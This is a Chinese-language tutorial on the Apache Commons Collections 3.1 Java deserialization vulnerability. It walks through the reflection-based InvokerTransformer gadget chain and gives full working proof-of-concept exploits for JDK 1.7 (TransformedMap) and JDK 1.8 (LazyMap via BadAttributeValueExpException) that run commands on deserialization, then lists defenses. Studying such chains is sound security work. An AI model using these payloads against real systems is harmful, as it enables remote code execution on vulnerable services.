从apache-commons-collections中学习java反序列化
字数 1591 2025-08-20 18:18:40

Apache Commons Collections Java反序列化漏洞深入分析

前言

Apache Commons Collections 3.1的反序列化漏洞是Java历史上最著名且最具代表性的反序列化漏洞。本文将详细分析该漏洞的原理、利用方式及防御措施。

环境准备

  • JDK 1.7版本
  • IntelliJ IDEA
  • commons-collections-3.1.jar

基础知识

Java反射机制

反射是在运行时获取类的完整构造并调用对应方法的能力,在漏洞利用中起关键作用。

核心反射类

  • java.lang.Class
  • java.lang.reflect.Constructor
  • java.lang.reflect.Field
  • java.lang.reflect.Method
  • java.lang.reflect.Modifier

获取Class对象的三种方式

// 1. Class.forName静态方法
Class clz = Class.forName("java.lang.String");

// 2. 使用.class方法
Class clz = String.class;

// 3. 使用对象的getClass()方法
String str = new String("Hello");
Class clz = str.getClass();

反射执行命令示例

// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");

// 获取构造方法并创建实例
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();

// 获取exec方法并执行
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);

// 获取执行结果
InputStream in = process.getInputStream();
System.out.println(IOUtils.toString(in, "UTF-8"));

Java反序列化

Java中可以通过重写以下方法实现自定义序列化/反序列化:

  • private void writeObject(ObjectOutputStream oos)
  • private void readObject(ObjectInputStream ois)
  • private void readObjectNoData()
  • protected Object writeReplace()
  • protected Object readResolve()

反序列化时会自动调用readObject方法。

漏洞原理分析

CC链反序列化漏洞的利用思路:

  1. 利用InvokerTransformerConstantTransformerChainedTransformer等类构建反射链
  2. 寻找Commons Collections中会在反序列化时触发transform方法的类

一、构建反射链

InvokerTransformer类分析

InvokerTransformer.transform()方法实现了反射调用:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (...) {
        // 异常处理
    }
}

通过控制iMethodNameiParamTypesiArgs参数,可以实现任意方法调用。

ChainedTransformer类分析

ChainedTransformer实现了链式调用:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

ConstantTransformer类分析

简单的值转换器,用于提供初始对象。

完整反射链POC

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

二、寻找触发链

我们需要找到一个类:

  1. 重写了readObject方法
  2. 在反序列化过程中会调用transform方法

JDK 1.7 - TransformedMap利用链

调用链:

ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ TransformedMap.entrySet().iterator().next().setValue()
→ TransformedMap.checkSetValue()
→ TransformedMap.transform()
→ ChainedTransformer.transform()

关键点分析

  1. TransformedMap构造函数:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
  1. put方法触发transformValue
public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}
  1. AnnotationInvocationHandler.readObject中会调用setValue

完整POC

public class Exec implements Serializable {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);

        // 序列化和反序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(instance);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
}

JDK 1.8 - LazyMap利用链

由于JDK 1.8中AnnotationInvocationHandler的变化,需要使用新的触发链:

调用链:

反序列化BadAttributeValueExpException
→ BadAttributeValueExpException.readObject()
→ TideMapEntry.toString()
→ TideMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()

关键点分析

  1. LazyMap.get方法:
public Object get(Object key) {
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        this.map.put(key, value);
        return value;
    }
    return this.map.get(key);
}
  1. TiedMapEntry类:
public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return getKey() + "=" + getValue();
}
  1. BadAttributeValueExpException.readObject会调用toString

完整POC

public class Exec {
    public static BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
        
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[] {String.class}, execArgs),
            new ConstantTransformer(1) };

        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);
        
        Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        return val;
    }

    public static void main(String[] args) throws Exception {
        BadAttributeValueExpException calc = getObject("calc");
        
        // 序列化和反序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(calc);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject();
    }
}

防御措施

  1. 升级Apache Commons Collections到安全版本(3.2.2+)
  2. 使用JVM安全管理器限制反序列化
  3. 使用白名单机制控制可反序列化的类
  4. 使用ObjectInputFilter过滤反序列化输入

参考资源

Apache Commons Collections Java反序列化漏洞深入分析 前言 Apache Commons Collections 3.1的反序列化漏洞是Java历史上最著名且最具代表性的反序列化漏洞。本文将详细分析该漏洞的原理、利用方式及防御措施。 环境准备 JDK 1.7版本 IntelliJ IDEA commons-collections-3.1.jar 基础知识 Java反射机制 反射是在运行时获取类的完整构造并调用对应方法的能力,在漏洞利用中起关键作用。 核心反射类 java.lang.Class java.lang.reflect.Constructor java.lang.reflect.Field java.lang.reflect.Method java.lang.reflect.Modifier 获取Class对象的三种方式 反射执行命令示例 Java反序列化 Java中可以通过重写以下方法实现自定义序列化/反序列化: private void writeObject(ObjectOutputStream oos) private void readObject(ObjectInputStream ois) private void readObjectNoData() protected Object writeReplace() protected Object readResolve() 反序列化时会自动调用 readObject 方法。 漏洞原理分析 CC链反序列化漏洞的利用思路: 利用 InvokerTransformer 、 ConstantTransformer 、 ChainedTransformer 等类构建反射链 寻找Commons Collections中会在反序列化时触发 transform 方法的类 一、构建反射链 InvokerTransformer类分析 InvokerTransformer.transform() 方法实现了反射调用: 通过控制 iMethodName 、 iParamTypes 和 iArgs 参数,可以实现任意方法调用。 ChainedTransformer类分析 ChainedTransformer 实现了链式调用: ConstantTransformer类分析 简单的值转换器,用于提供初始对象。 完整反射链POC 二、寻找触发链 我们需要找到一个类: 重写了 readObject 方法 在反序列化过程中会调用 transform 方法 JDK 1.7 - TransformedMap利用链 调用链: 关键点分析 : TransformedMap 构造函数: put 方法触发 transformValue : AnnotationInvocationHandler.readObject 中会调用 setValue 完整POC : JDK 1.8 - LazyMap利用链 由于JDK 1.8中 AnnotationInvocationHandler 的变化,需要使用新的触发链: 调用链: 关键点分析 : LazyMap.get 方法: TiedMapEntry 类: BadAttributeValueExpException.readObject 会调用 toString 完整POC : 防御措施 升级Apache Commons Collections到安全版本(3.2.2+) 使用JVM安全管理器限制反序列化 使用白名单机制控制可反序列化的类 使用 ObjectInputFilter 过滤反序列化输入 参考资源 Java反序列化漏洞原理分析 Apache Commons Collections反序列化漏洞详解 腾讯安全应急响应中心分析